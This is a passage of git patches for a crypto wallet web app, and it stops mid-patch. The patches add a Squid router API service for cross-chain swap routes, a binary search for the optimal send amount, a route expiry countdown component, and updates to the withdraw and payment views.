From b54a5e7c46c43f0e7b7d0c6212e1aee57e0bcf6c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Juan=20Jos=C3=A9=20Ram=C3=ADrez?= Date: Wed, 11 Jun 2025 22:58:35 -0300 Subject: [PATCH 01/16] feat: abstract squid route fetching Stop using the skd and use the squid API directly, this give us more control and access to all the data that returns squid (for example, we now have access to the fees and don't have to recalculate them ourselves) --- src/app/actions/tokens.ts | 5 +- src/services/swap.ts | 397 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 398 insertions(+), 4 deletions(-) create mode 100644 src/services/swap.ts diff --git a/src/app/actions/tokens.ts b/src/app/actions/tokens.ts index 0d760e855..367c7ddd3 100644 --- a/src/app/actions/tokens.ts +++ b/src/app/actions/tokens.ts @@ -76,10 +76,7 @@ export const fetchTokenPrice = unstable_cache( const json: { data: IMobulaMarketData } = await mobulaResponse.json() if (mobulaResponse.ok) { - let decimals = json.data.decimals - if (decimals === undefined) { - decimals = json.data.contracts.find((contract) => contract.blockchainId === chainId)!.decimals - } + const decimals = json.data.contracts.find((contract) => contract.blockchainId === chainId)!.decimals let data = { price: json.data.price, chainId: chainId, diff --git a/src/services/swap.ts b/src/services/swap.ts new file mode 100644 index 000000000..8450fc1f5 --- /dev/null +++ b/src/services/swap.ts @@ -0,0 +1,397 @@ +'use server' +import type { Address, Hash, Hex } from 'viem' +import { parseUnits, formatUnits } from 'viem' + +import { fetchTokenPrice } from '@/app/actions/tokens' +import { fetchWithSentry } from '@/utils' + +type TokenInfo = { + address: Address + tokenAddress: Address + chainId: string +} + +type RouteParams = { + from: TokenInfo + to: TokenInfo +} & ( + | { + fromAmount: bigint + toAmount?: undefined + fromUsd?: undefined + toUsd?: undefined + } + | { + fromAmount?: undefined + toAmount: bigint + fromUsd?: undefined + toUsd?: undefined + } + | { + fromAmount?: undefined + toAmount?: undefined + fromUsd: string + toUsd?: undefined + } + | { + fromAmount?: undefined + toAmount?: undefined + fromUsd?: undefined + toUsd: string + } +) + +type SquidGetRouteParams = { + fromChain: string + fromToken: string + fromAmount: string + fromAddress: string + toAddress: string + toChain: string + toToken: string +} + +type SquidCall = { + chainType: string + callType: number + target: Address + callData: Hex + value: string + payload: { + tokenAddress: Address + inputPos: number + } + estimatedGas: string +} + +type SquidAction = { + type: 'swap' | 'rfq' + chainType: string + data: { + liquidityProvider: string + provider: string + type: string + fillerAddress: Address + expiry: string + logoURI: string + calls: SquidCall[] + } + fromChain: string + toChain: string + fromToken: SquidToken + toToken: SquidToken + fromAmount: string + toAmount: string + toAmountMin: string + exchangeRate: string + priceImpact: string + stage: number + provider: string + logoURI: string + description: string + orderHash: Hash +} + +type SquidToken = { + id: string + symbol: string + address: Address + chainId: string + name: string + decimals: number + coingeckoId: string + type: string + logoURI: string + axelarNetworkSymbol: string + subGraphOnly: boolean + subGraphIds: string[] + enabled: boolean + active: boolean + visible: boolean + usdPrice: number +} + +type SquidFeeCost = { + amount: string + amountUsd: string + description: string + gasLimit: string + gasMultiplier: number + name: string + token: SquidToken + logoURI: string +} + +type SquidGasCost = { + type: string + token: SquidToken + amount: string + gasLimit: string + amountUsd: string +} + +type SquidRouteResponse = { + route: { + estimate: { + actions: SquidAction[] + fromAmount: string + toAmount: string + toAmountMin: string + exchangeRate: string + aggregatePriceImpact: string + fromAmountUSD: string + toAmountUSD: string + toAmountMinUSD: string + aggregateSlippage: number + fromToken: SquidToken + toToken: SquidToken + isBoostSupported: boolean + feeCosts: SquidFeeCost[] + gasCosts: SquidGasCost[] + estimatedRouteDuration: number + } + transactionRequest: { + type: string + target: Address + data: Hex + value: string + gasLimit: string + lastBaseFeePerGas: string + maxFeePerGas: string + maxPriorityFeePerGas: string + gasPrice: string + requestId: string + expiry: string + expiryOffset: string + } + params: SquidGetRouteParams + quoteId: string + } +} + +/** + * Fetch the route from the squid API. + * We use this when we fetch the route several times while finding the optimal fromAmount. + */ +async function getSquidRouteRaw(params: SquidGetRouteParams): Promise { + console.dir(params) + const response = await fetchWithSentry(`${process.env.SQUID_API_URL!}/v2/route`, { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + 'x-integrator-id': process.env.SQUID_INTEGRATOR_ID!, + }, + body: JSON.stringify(params), + }) + + if (!response.ok) { + console.dir(response) + throw new Error(`Failed to get route: ${response.status}`) + } + + const data = await response.json() + return data as SquidRouteResponse +} + +/** + * Find the optimal fromAmount for a given target amount of tokens. + * + * Uses binary search to find the optimal fromAmount for a given target amount of tokens. + * This is done by calling the squid API with different fromAmount values until the + * overage is below a certain threshold. + */ +async function findOptimalFromAmount( + params: Omit, + targetToAmount: bigint, + toTokenPrice?: { price: number; decimals: number } +): Promise { + // Only fetch if not provided + const tokenPrice = toTokenPrice || (await fetchTokenPrice(params.toToken, params.toChain)) + if (!tokenPrice) throw new Error('Could not fetch to token price') + + const targetUsd = Number(formatUnits(targetToAmount, tokenPrice.decimals)) * tokenPrice.price + + // Dynamic tolerances based on USD amount + // This is needed because for different quantities the slippage is different + // for example 0.4% of 10 USD is different than 0.4% of 1000 USD + let maxOverage: number + let rangeMultiplier: { low: number; high: number } + if (targetUsd < 10) { + maxOverage = 0.005 // 0.5% + rangeMultiplier = { low: 0.9925, high: 1.015 } + } else if (targetUsd < 1000) { + maxOverage = 0.003 // 0.3% + rangeMultiplier = { low: 0.995, high: 1.009 } + } else { + maxOverage = 0.001 // 0.1% + rangeMultiplier = { low: 0.995, high: 1.01 } + } + + let lowBound = (targetToAmount * BigInt(Math.floor(rangeMultiplier.low * 10000))) / 10000n + let highBound = (targetToAmount * BigInt(Math.floor(rangeMultiplier.high * 10000))) / 10000n + + let bestResult: { response: SquidRouteResponse; overage: number } | null = null + let iterations = 0 + const maxIterations = 3 // Avoid too many calls to squid API! + + // Binary search to find the optimal fromAmount + while (iterations < maxIterations && highBound > lowBound) { + const midPoint = (lowBound + highBound) / 2n + const testParams = { ...params, fromAmount: midPoint.toString() } + + try { + const response = await getSquidRouteRaw(testParams) + const receivedAmount = BigInt(response.route.estimate.toAmount) + iterations++ + + if (receivedAmount >= targetToAmount) { + const overage = Number(receivedAmount - targetToAmount) / Number(targetToAmount) + + if (overage <= maxOverage) { + return response + } + + bestResult = { response, overage } + highBound = midPoint - 1n + } else { + lowBound = midPoint + 1n + } + } catch (error) { + lowBound = midPoint + 1n + iterations++ + } + } + + // Return best result found, or make one final call with high bound + if (bestResult) { + return bestResult.response + } + + // Fallback call + return await getSquidRouteRaw({ ...params, fromAmount: highBound.toString() }) +} + +export type PeanutCrossChainRoute = { + expiry: string + type: 'swap' | 'rfq' + transactions: { + to: Address + data: Hex + value: string + feeOptions: { + gasLimit: string + maxFeePerGas: string + maxPriorityFeePerGas: string + gasPrice: string + } + }[] + feeCostsUsd: number + rawResponse: SquidRouteResponse +} + +/** + * Get the route for a given amount of tokens from one chain to another. + * + * Accepts any specified amount either in tokens or USD, specifying send or receive amount. + * + * Returns the route with the less slippage.. + */ +export async function getRoute({ from, to, ...amount }: RouteParams): Promise { + let fromAmount: string + let response: SquidRouteResponse + + if (amount.fromAmount) { + fromAmount = amount.fromAmount.toString() + response = await getSquidRouteRaw({ + fromChain: from.chainId, + fromToken: from.tokenAddress, + fromAmount: fromAmount, + fromAddress: from.address, + toAddress: to.address, + toChain: to.chainId, + toToken: to.tokenAddress, + }) + } else if (amount.fromUsd) { + // Convert USD to token amount + const fromTokenPrice = await fetchTokenPrice(from.tokenAddress, from.chainId) + if (!fromTokenPrice) throw new Error('Could not fetch from token price') + + fromAmount = parseUnits( + (Number(amount.fromUsd) / fromTokenPrice.price).toString(), + fromTokenPrice.decimals + ).toString() + + response = await getSquidRouteRaw({ + fromChain: from.chainId, + fromToken: from.tokenAddress, + fromAmount, + fromAddress: from.address, + toAddress: to.address, + toChain: to.chainId, + toToken: to.tokenAddress, + }) + } else if (amount.toAmount) { + // Use binary search to find optimal fromAmount + response = await findOptimalFromAmount( + { + fromChain: from.chainId, + fromToken: from.tokenAddress, + fromAddress: from.address, + toAddress: to.address, + toChain: to.chainId, + toToken: to.tokenAddress, + }, + amount.toAmount + ) + } else if (amount.toUsd) { + // Convert target USD to token amount, then use binary search + const toTokenPrice = await fetchTokenPrice(to.tokenAddress, to.chainId) + if (!toTokenPrice) throw new Error('Could not fetch to token price') + + const targetToAmount = BigInt( + Math.floor((parseFloat(amount.toUsd) / toTokenPrice.price) * 10 ** toTokenPrice.decimals) + ) + + response = await findOptimalFromAmount( + { + fromChain: from.chainId, + fromToken: from.tokenAddress, + fromAddress: from.address, + toAddress: to.address, + toChain: to.chainId, + toToken: to.tokenAddress, + }, + targetToAmount, + toTokenPrice // Pass the already-fetched price + ) + } else { + throw new Error('No amount specified') + } + + const route = response.route + + const feeCostsUsd = [...route.estimate.feeCosts, ...route.estimate.gasCosts].reduce( + (sum, cost) => sum + Number(cost.amountUsd), + 0 + ) + + return { + expiry: route.transactionRequest.expiry, + type: route.estimate.actions[0].type, + transactions: [ + { + to: route.transactionRequest.target, + data: route.transactionRequest.data, + value: route.transactionRequest.value, + feeOptions: { + gasLimit: route.transactionRequest.gasLimit, + maxFeePerGas: route.transactionRequest.maxFeePerGas, + maxPriorityFeePerGas: route.transactionRequest.maxPriorityFeePerGas, + gasPrice: route.transactionRequest.gasPrice, + }, + }, + ], + feeCostsUsd, + rawResponse: response, + } +} From 769b5419252bd740c4ccbe836bae0abd0be0a700 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Juan=20Jos=C3=A9=20Ram=C3=ADrez?= <70615692+jjramirezn@users.noreply.github.com> Date: Wed, 11 Jun 2025 23:11:40 -0300 Subject: [PATCH 02/16] refactor: use parseunits Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com> --- src/services/swap.ts | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/src/services/swap.ts b/src/services/swap.ts index 8450fc1f5..d368bfe88 100644 --- a/src/services/swap.ts +++ b/src/services/swap.ts @@ -348,8 +348,9 @@ export async function getRoute({ from, to, ...amount }: RouteParams): Promise Date: Wed, 11 Jun 2025 23:13:22 -0300 Subject: [PATCH 03/16] refactor: remove console.dir --- src/services/swap.ts | 2 -- 1 file changed, 2 deletions(-) diff --git a/src/services/swap.ts b/src/services/swap.ts index d368bfe88..fac7c36f5 100644 --- a/src/services/swap.ts +++ b/src/services/swap.ts @@ -174,7 +174,6 @@ type SquidRouteResponse = { * We use this when we fetch the route several times while finding the optimal fromAmount. */ async function getSquidRouteRaw(params: SquidGetRouteParams): Promise { - console.dir(params) const response = await fetchWithSentry(`${process.env.SQUID_API_URL!}/v2/route`, { method: 'POST', headers: { @@ -185,7 +184,6 @@ async function getSquidRouteRaw(params: SquidGetRouteParams): Promise Date: Wed, 11 Jun 2025 23:38:44 -0300 Subject: [PATCH 04/16] feat: handle very large numbers with careful scaling --- src/services/swap.ts | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/src/services/swap.ts b/src/services/swap.ts index fac7c36f5..d8f4be7f5 100644 --- a/src/services/swap.ts +++ b/src/services/swap.ts @@ -243,7 +243,16 @@ async function findOptimalFromAmount( iterations++ if (receivedAmount >= targetToAmount) { - const overage = Number(receivedAmount - targetToAmount) / Number(targetToAmount) + const diff = receivedAmount - targetToAmount + const target = targetToAmount + + let overage: number + if (diff <= Number.MAX_SAFE_INTEGER && target <= Number.MAX_SAFE_INTEGER) { + overage = Number(diff) / Number(target) + } else { + // Handle very large numbers with careful scaling + overage = Number(diff / (target / 1_000_000_000_000_000_000n)) / 1e18 + } if (overage <= maxOverage) { return response From 49451d1c4f7388536343fbba31d61a65995a32ac Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Juan=20Jos=C3=A9=20Ram=C3=ADrez?= Date: Fri, 13 Jun 2025 12:34:12 -0300 Subject: [PATCH 05/16] refactor: use const for squid api url --- src/constants/general.consts.ts | 2 +- src/services/swap.ts | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/constants/general.consts.ts b/src/constants/general.consts.ts index 096d88711..caec461cb 100644 --- a/src/constants/general.consts.ts +++ b/src/constants/general.consts.ts @@ -7,7 +7,7 @@ export const peanutWalletIsInPreview = true export const INFURA_API_KEY = process.env.NEXT_PUBLIC_INFURA_API_KEY export const SQUID_INTEGRATOR_ID = '11CBA45B-5EE9-4331-B146-48CCD7ED4C7C' -export const SQUID_API_URL = 'https://apiplus.squidrouter.com/v2' +export const SQUID_API_URL = process.env.SQUID_API_URL export const infuraRpcUrls: Record = { [mainnet.id]: `https://mainnet.infura.io/v3/${INFURA_API_KEY}`, diff --git a/src/services/swap.ts b/src/services/swap.ts index d8f4be7f5..30da1e584 100644 --- a/src/services/swap.ts +++ b/src/services/swap.ts @@ -4,6 +4,7 @@ import { parseUnits, formatUnits } from 'viem' import { fetchTokenPrice } from '@/app/actions/tokens' import { fetchWithSentry } from '@/utils' +import { SQUID_API_URL } from '@/constants' type TokenInfo = { address: Address @@ -174,7 +175,7 @@ type SquidRouteResponse = { * We use this when we fetch the route several times while finding the optimal fromAmount. */ async function getSquidRouteRaw(params: SquidGetRouteParams): Promise { - const response = await fetchWithSentry(`${process.env.SQUID_API_URL!}/v2/route`, { + const response = await fetchWithSentry(`${SQUID_API_URL}/v2/route`, { method: 'POST', headers: { 'Content-Type': 'application/json', From 37a248c3a074340e097eb1b74057dfec5ba19903 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Juan=20Jos=C3=A9=20Ram=C3=ADrez?= Date: Wed, 18 Jun 2025 16:47:09 -0300 Subject: [PATCH 06/16] feat: add cross-chain action card Use coral through squid to get the cross-chain route for the different flows. This enables xchain withdraw for peanut wallet --- src/app/(mobile-ui)/withdraw/crypto/page.tsx | 74 +++- src/app/[...recipient]/client.tsx | 1 + src/app/actions/tokens.ts | 43 +- .../Global/PeanutActionDetailsCard/index.tsx | 100 +++-- .../Global/RouteExpiryTimer/index.tsx | 190 +++++++++ .../Payment/Views/Confirm.payment.view.tsx | 72 +++- .../Withdraw/views/Confirm.withdraw.view.tsx | 37 +- .../Withdraw/views/Initial.withdraw.view.tsx | 8 +- src/hooks/usePaymentInitiator.ts | 398 ++++-------------- src/services/swap.ts | 202 +++++++-- src/utils/index.ts | 1 + 11 files changed, 705 insertions(+), 421 deletions(-) create mode 100644 src/components/Global/RouteExpiryTimer/index.tsx diff --git a/src/app/(mobile-ui)/withdraw/crypto/page.tsx b/src/app/(mobile-ui)/withdraw/crypto/page.tsx index 9deed8c86..8eed94b8e 100644 --- a/src/app/(mobile-ui)/withdraw/crypto/page.tsx +++ b/src/app/(mobile-ui)/withdraw/crypto/page.tsx @@ -8,6 +8,7 @@ import ConfirmWithdrawView from '@/components/Withdraw/views/Confirm.withdraw.vi import InitialWithdrawView from '@/components/Withdraw/views/Initial.withdraw.view' import { useWithdrawFlow, WithdrawData } from '@/context/WithdrawFlowContext' import { InitiatePaymentPayload, usePaymentInitiator } from '@/hooks/usePaymentInitiator' +import { useWallet } from '@/hooks/wallet/useWallet' import { useAppDispatch, usePaymentStore } from '@/redux/hooks' import { paymentActions } from '@/redux/slices/payment-slice' import { chargesApi } from '@/services/charges' @@ -21,13 +22,15 @@ import { } from '@/services/services.types' import { NATIVE_TOKEN_ADDRESS } from '@/utils/token.utils' import { interfaces as peanutInterfaces } from '@squirrel-labs/peanut-sdk' +import { PEANUT_WALLET_CHAIN } from '@/constants' import { useRouter } from 'next/navigation' -import { useCallback, useEffect } from 'react' +import { useCallback, useEffect, useMemo } from 'react' export default function WithdrawCryptoPage() { const router = useRouter() const dispatch = useAppDispatch() const { chargeDetails: activeChargeDetailsFromStore } = usePaymentStore() + const { isConnected: isPeanutWallet } = useWallet() const { amountToWithdraw, setAmountToWithdraw, @@ -47,8 +50,11 @@ export default function WithdrawCryptoPage() { initiatePayment, isProcessing, error: paymentErrorFromHook, - feeCalculations, + estimatedGasCost, prepareTransactionDetails, + xChainRoute, + isCalculatingFees, + isPreparingTx, } = usePaymentInitiator() useEffect(() => { @@ -68,9 +74,11 @@ export default function WithdrawCryptoPage() { useEffect(() => { if (currentView === 'CONFIRM' && activeChargeDetailsFromStore && withdrawData) { - prepareTransactionDetails(activeChargeDetailsFromStore, false) + console.log('Preparing withdraw transaction details...') + console.dir(activeChargeDetailsFromStore) + prepareTransactionDetails(activeChargeDetailsFromStore, true, amountToWithdraw) } - }, [currentView, activeChargeDetailsFromStore, withdrawData, prepareTransactionDetails]) + }, [currentView, activeChargeDetailsFromStore, withdrawData, prepareTransactionDetails, amountToWithdraw]) const handleSetupReview = useCallback( async (data: Omit) => { @@ -191,6 +199,13 @@ export default function WithdrawCryptoPage() { } }, [activeChargeDetailsFromStore, withdrawData, amountToWithdraw, dispatch, initiatePayment, setCurrentView]) + const handleRouteRefresh = useCallback(async () => { + if (!activeChargeDetailsFromStore) return + console.log('Refreshing withdraw route due to expiry...') + console.log('About to call prepareTransactionDetails with:', activeChargeDetailsFromStore) + await prepareTransactionDetails(activeChargeDetailsFromStore, true, amountToWithdraw) + }, [activeChargeDetailsFromStore, prepareTransactionDetails, amountToWithdraw]) + const handleBackFromConfirm = useCallback(() => { setCurrentView('INITIAL') setPaymentError(null) @@ -198,8 +213,48 @@ export default function WithdrawCryptoPage() { dispatch(paymentActions.setChargeDetails(null)) }, [dispatch, setCurrentView]) - const displayError = paymentError + // Check if this is a cross-chain withdrawal (align with usePaymentInitiator logic) + const isCrossChainWithdrawal = useMemo(() => { + if (!withdrawData || !activeChargeDetailsFromStore) return false + + // In withdraw flow, we're moving from Peanut Wallet to the selected chain + // This matches the logic in usePaymentInitiator for withdraw flows + const fromChainId = isPeanutWallet ? PEANUT_WALLET_CHAIN.id.toString() : withdrawData.chain.chainId + const toChainId = activeChargeDetailsFromStore.chainId + + console.log('Cross-chain check:', { + fromChainId, + toChainId, + isPeanutWallet, + isCrossChain: fromChainId !== toChainId, + }) + + return fromChainId !== toChainId + }, [withdrawData, activeChargeDetailsFromStore, isPeanutWallet]) + + // Check for route type errors (similar to payment flow) + const routeTypeError = useMemo(() => { + if (!isCrossChainWithdrawal || !xChainRoute || !isPeanutWallet) return null + + // For peanut wallet flows, only RFQ routes are allowed + if (xChainRoute.type === 'swap') { + return 'This token pair is not available for withdraw.' + } + + return null + }, [isCrossChainWithdrawal, xChainRoute, isPeanutWallet]) + + const displayError = paymentError ?? routeTypeError const confirmButtonDisabled = !activeChargeDetailsFromStore || isProcessing + const shouldShowRetry = !!displayError + + // Get network fee from route or fallback + const networkFee = useCallback(() => { + if (xChainRoute?.feeCostsUsd) { + return xChainRoute.feeCostsUsd < 0.01 ? '$ <0.01' : `$ ${xChainRoute.feeCostsUsd.toFixed(2)}` + } + return '$ 0.00' + }, [xChainRoute]) if (!amountToWithdraw) { return @@ -224,9 +279,14 @@ export default function WithdrawCryptoPage() { toAddress={withdrawData.address} onConfirm={handleConfirmWithdrawal} onBack={handleBackFromConfirm} - isProcessing={confirmButtonDisabled} + isProcessing={isProcessing} error={displayError} - networkFee={feeCalculations?.estimatedFee} + networkFee={networkFee()} + // Timer props for cross-chain withdrawals + isCrossChain={isCrossChainWithdrawal} + routeExpiry={xChainRoute?.expiry} + isRouteLoading={isCalculatingFees || isPreparingTx} + onRouteRefresh={handleRouteRefresh} /> )} diff --git a/src/app/[...recipient]/client.tsx b/src/app/[...recipient]/client.tsx index 694946269..accaca4fd 100644 --- a/src/app/[...recipient]/client.tsx +++ b/src/app/[...recipient]/client.tsx @@ -393,6 +393,7 @@ export default function PaymentPage({ recipient, flow = 'request_pay' }: Props) isPintaReq={parsedPaymentData?.token?.symbol === 'PNT'} currencyAmount={currencyCode && currencyAmount ? `${currencySymbol} ${currencyAmount}` : undefined} isAddMoneyFlow={isAddMoneyFlow} + isDirectPay={isDirectPay} /> )} {currentView === 'STATUS' && ( diff --git a/src/app/actions/tokens.ts b/src/app/actions/tokens.ts index 367c7ddd3..91d7ea6f2 100644 --- a/src/app/actions/tokens.ts +++ b/src/app/actions/tokens.ts @@ -2,10 +2,11 @@ import { unstable_cache } from 'next/cache' import { fetchWithSentry, isAddressZero, estimateIfIsStableCoinFromPrice } from '@/utils' import { type ITokenPriceData } from '@/interfaces' -import type { Address } from 'viem' import { parseAbi } from 'viem' import { type ChainId, getPublicClient } from '@/app/actions/clients' -import { getTokenDetails } from '@/utils' +import { getTokenDetails, NATIVE_TOKEN_ADDRESS, isStableCoin } from '@/utils' +import { formatUnits } from 'viem' +import type { Address, Hex } from 'viem' type IMobulaMarketData = { id: number @@ -86,7 +87,7 @@ export const fetchTokenPrice = unstable_cache( decimals, logoURI: json.data.logo, } - if (estimateIfIsStableCoinFromPrice(json.data.price)) { + if (isStableCoin(data.symbol) || estimateIfIsStableCoinFromPrice(json.data.price)) { data.price = 1 } return data @@ -143,3 +144,39 @@ export const fetchTokenDetails = unstable_cache( tags: ['fetchTokenDetails'], } ) + +/** + * Estimate gas cost for transaction in USD + */ +export async function estimateTransactionCostUsd( + fromAddress: Address, + contractAddress: Address, + data: Hex, + chainId: string +): Promise { + try { + const client = await getPublicClient(Number(chainId) as ChainId) + + // Estimate gas for approve transaction + const gasEstimate = await client.estimateGas({ + account: fromAddress, + to: contractAddress, + data, + }) + + // Get current gas price + const gasPrice = await client.getGasPrice() + + // Calculate gas cost in native token + const gasCostWei = gasEstimate * gasPrice + + const nativeTokenPrice = await fetchTokenPrice(NATIVE_TOKEN_ADDRESS, chainId) + const estimatedCostUsd = nativeTokenPrice ? Number(formatUnits(gasCostWei, 18)) * nativeTokenPrice.price : 0.01 + + return estimatedCostUsd + } catch (error) { + console.error('Error estimating transaction cost:', error) + // Return a conservative estimate if we can't calculate exact cost + return 0.01 + } +} diff --git a/src/components/Global/PeanutActionDetailsCard/index.tsx b/src/components/Global/PeanutActionDetailsCard/index.tsx index d9ac458d1..3722d12ee 100644 --- a/src/components/Global/PeanutActionDetailsCard/index.tsx +++ b/src/components/Global/PeanutActionDetailsCard/index.tsx @@ -8,6 +8,7 @@ import { twMerge } from 'tailwind-merge' import Attachment from '../Attachment' import Card from '../Card' import { Icon, IconName } from '../Icons/Icon' +import RouteExpiryTimer from '../RouteExpiryTimer' interface PeanutActionDetailsCardProps { transactionType: 'REQUEST' | 'RECEIVED_LINK' | 'CLAIM_LINK' | 'REQUEST_PAYMENT' | 'ADD_MONEY' | 'WITHDRAW' @@ -20,6 +21,14 @@ interface PeanutActionDetailsCardProps { className?: HTMLDivElement['className'] fileUrl?: string avatarSize?: AvatarSize + // Cross-chain timer props + showTimer?: boolean + timerExpiry?: string + isTimerLoading?: boolean + onTimerNearExpiry?: () => void + onTimerExpired?: () => void + disableTimerRefetch?: boolean + timerError?: string | null } export default function PeanutActionDetailsCard({ @@ -33,6 +42,13 @@ export default function PeanutActionDetailsCard({ className, fileUrl, avatarSize = 'medium', + showTimer = false, + timerExpiry, + isTimerLoading = false, + onTimerNearExpiry, + onTimerExpired, + disableTimerRefetch = false, + timerError = null, }: PeanutActionDetailsCardProps) { const renderRecipient = () => { if (recipientType === 'ADDRESS') return printableAddress(recipientName) @@ -75,46 +91,58 @@ export default function PeanutActionDetailsCard({ }, []) return ( - +
- -
+
+ +
-
- {getTitle()} -

- {tokenSymbol.toLowerCase() === PEANUT_WALLET_TOKEN_SYMBOL.toLowerCase() ? '$ ' : ''} - {amount} +
+ {getTitle()} +

+ {tokenSymbol.toLowerCase() === PEANUT_WALLET_TOKEN_SYMBOL.toLowerCase() ? '$ ' : ''} + {amount} - {tokenSymbol.toLowerCase() !== PEANUT_WALLET_TOKEN_SYMBOL.toLowerCase() && - ` ${tokenSymbol.toLowerCase() === 'pnt' ? (Number(amount) === 1 ? 'Beer' : 'Beers') : tokenSymbol}`} -

+ {tokenSymbol.toLowerCase() !== PEANUT_WALLET_TOKEN_SYMBOL.toLowerCase() && + ` ${tokenSymbol.toLowerCase() === 'pnt' ? (Number(amount) === 1 ? 'Beer' : 'Beers') : tokenSymbol}`} +

- + + {showTimer && ( + + )} +
) diff --git a/src/components/Global/RouteExpiryTimer/index.tsx b/src/components/Global/RouteExpiryTimer/index.tsx new file mode 100644 index 000000000..ce8704864 --- /dev/null +++ b/src/components/Global/RouteExpiryTimer/index.tsx @@ -0,0 +1,190 @@ +import React, { useState, useEffect, useCallback } from 'react' +import { twMerge } from 'tailwind-merge' + +interface RouteExpiryTimerProps { + expiry?: string // ISO string from route + isLoading?: boolean + onNearExpiry?: () => void // Called when timer gets close to expiry (e.g., 30 seconds) + onExpired?: () => void // Called when timer expires + className?: string + nearExpiryThresholdMs?: number // Default 30 seconds + disableRefetch?: boolean // Disable refetching when user is signing transaction + error?: string | null // Error message to display instead of timer +} + +interface TimeRemaining { + minutes: number + seconds: number + totalMs: number +} + +const RouteExpiryTimer: React.FC = ({ + expiry, + isLoading = false, + onNearExpiry, + onExpired, + className, + nearExpiryThresholdMs = 5000, // 5 seconds + disableRefetch = false, + error = null, +}) => { + const [timeRemaining, setTimeRemaining] = useState(null) + const [hasTriggeredNearExpiry, setHasTriggeredNearExpiry] = useState(false) + const [hasExpired, setHasExpired] = useState(false) + + const calculateTimeRemaining = useCallback((): TimeRemaining | null => { + if (!expiry) return null + + const now = new Date().getTime() + // Expiry is Unix timestamp in seconds, convert to milliseconds + const expiryTime = parseInt(expiry) * 1000 + + // Check if expiry time is valid + if (isNaN(expiryTime)) { + console.warn('Invalid expiry time:', expiry) + return null + } + + const diff = expiryTime - now + + if (diff <= 0) { + return { minutes: 0, seconds: 0, totalMs: 0 } + } + + const minutes = Math.floor(diff / 60000) + const seconds = Math.floor((diff % 60000) / 1000) + + return { minutes, seconds, totalMs: diff } + }, [expiry]) + + useEffect(() => { + if (!expiry || isLoading) { + setTimeRemaining(null) + setHasTriggeredNearExpiry(false) + setHasExpired(false) + return + } + + const updateTimer = () => { + const remaining = calculateTimeRemaining() + setTimeRemaining(remaining) + + if (!remaining || remaining.totalMs <= 0) { + if (!hasExpired) { + setHasExpired(true) + onExpired?.() + } + return + } + + // Trigger near expiry callback only if refetch is not disabled + if ( + !disableRefetch && + !hasTriggeredNearExpiry && + remaining.totalMs <= nearExpiryThresholdMs && + remaining.totalMs > 0 + ) { + setHasTriggeredNearExpiry(true) + onNearExpiry?.() + } + } + + // Initial calculation + updateTimer() + + // Set up interval to update every second + const interval = setInterval(updateTimer, 1000) + + return () => clearInterval(interval) + }, [ + expiry, + isLoading, + calculateTimeRemaining, + onNearExpiry, + onExpired, + nearExpiryThresholdMs, + hasTriggeredNearExpiry, + hasExpired, + disableRefetch, + ]) + + const formatTime = (time: TimeRemaining): string => { + const paddedMinutes = time.minutes.toString().padStart(2, '0') + const paddedSeconds = time.seconds.toString().padStart(2, '0') + return `${paddedMinutes}:${paddedSeconds}` + } + + const getProgressPercentage = (): number => { + if (!timeRemaining || !expiry) return 0 + + // Assuming routes typically have 1-minute expiry (300 seconds) + // This could be made configurable if needed + const totalDurationMs = 1 * 60 * 1000 // 1 minutes + const elapsedMs = totalDurationMs - timeRemaining.totalMs + return Math.max(0, Math.min(100, (elapsedMs / totalDurationMs) * 100)) + } + + const getProgressColor = (): string => { + if (!timeRemaining) return 'bg-grey-3' + + const percentage = getProgressPercentage() + + // Green for first 70% + if (percentage < 70) return 'bg-green-500' + // Yellow for 70-85% + if (percentage < 85) return 'bg-yellow-500' + // Red for final 15% + return 'bg-red' + } + + const shouldPulse = (): boolean => { + if (isLoading) return true + if (!timeRemaining) return false + return timeRemaining.totalMs <= nearExpiryThresholdMs && timeRemaining.totalMs > 0 + } + + const getText = (): string => { + if (error) return error + if (isLoading) return 'Finding best rate...' + if (!expiry) return 'No quote available' + if (!timeRemaining) return 'Quote expired' + if (timeRemaining.totalMs <= 0) return 'Quote expired' + return `Price locked for ${formatTime(timeRemaining)}` + } + + return ( +
+ {/* Status text */} +
+ 0) + ? 'text-grey-1' + : 'text-error' + )} + > + {getText()} + +
+ + {/* Progress bar */} +
+
+
+
+ ) +} + +export default RouteExpiryTimer diff --git a/src/components/Payment/Views/Confirm.payment.view.tsx b/src/components/Payment/Views/Confirm.payment.view.tsx index 15834837e..60142bf44 100644 --- a/src/components/Payment/Views/Confirm.payment.view.tsx +++ b/src/components/Payment/Views/Confirm.payment.view.tsx @@ -13,6 +13,7 @@ import PeanutActionDetailsCard from '@/components/Global/PeanutActionDetailsCard import PeanutLoading from '@/components/Global/PeanutLoading' import PeanutSponsored from '@/components/Global/PeanutSponsored' import PintaReqViewWrapper from '@/components/PintaReqPay/PintaReqViewWrapper' +import RouteExpiryTimer from '@/components/Global/RouteExpiryTimer' import { TRANSACTIONS } from '@/constants/query.consts' import { tokenSelectorContext } from '@/context' import { usePaymentInitiator } from '@/hooks/usePaymentInitiator' @@ -37,6 +38,7 @@ type ConfirmPaymentViewProps = { } currencyAmount?: string isAddMoneyFlow?: boolean + isDirectPay?: boolean } export default function ConfirmPaymentView({ @@ -44,6 +46,7 @@ export default function ConfirmPaymentView({ currency, currencyAmount, isAddMoneyFlow, + isDirectPay = false, }: ConfirmPaymentViewProps) { const dispatch = useAppDispatch() const searchParams = useSearchParams() @@ -56,11 +59,12 @@ export default function ConfirmPaymentView({ isPreparingTx, loadingStep, error: paymentError, - feeCalculations, + estimatedGasCost, isCalculatingFees, isEstimatingGas, isFeeEstimationError, cancelOperation: cancelPaymentOperation, + xChainRoute, } = usePaymentInitiator() const { selectedTokenData, selectedChainID } = useContext(tokenSelectorContext) const { isConnected: isPeanutWallet, address: peanutWalletAddress, fetchBalance } = useWallet() @@ -68,6 +72,16 @@ export default function ConfirmPaymentView({ const { rewardWalletBalance } = useWalletStore() const queryClient = useQueryClient() + const networkFee = useMemo(() => 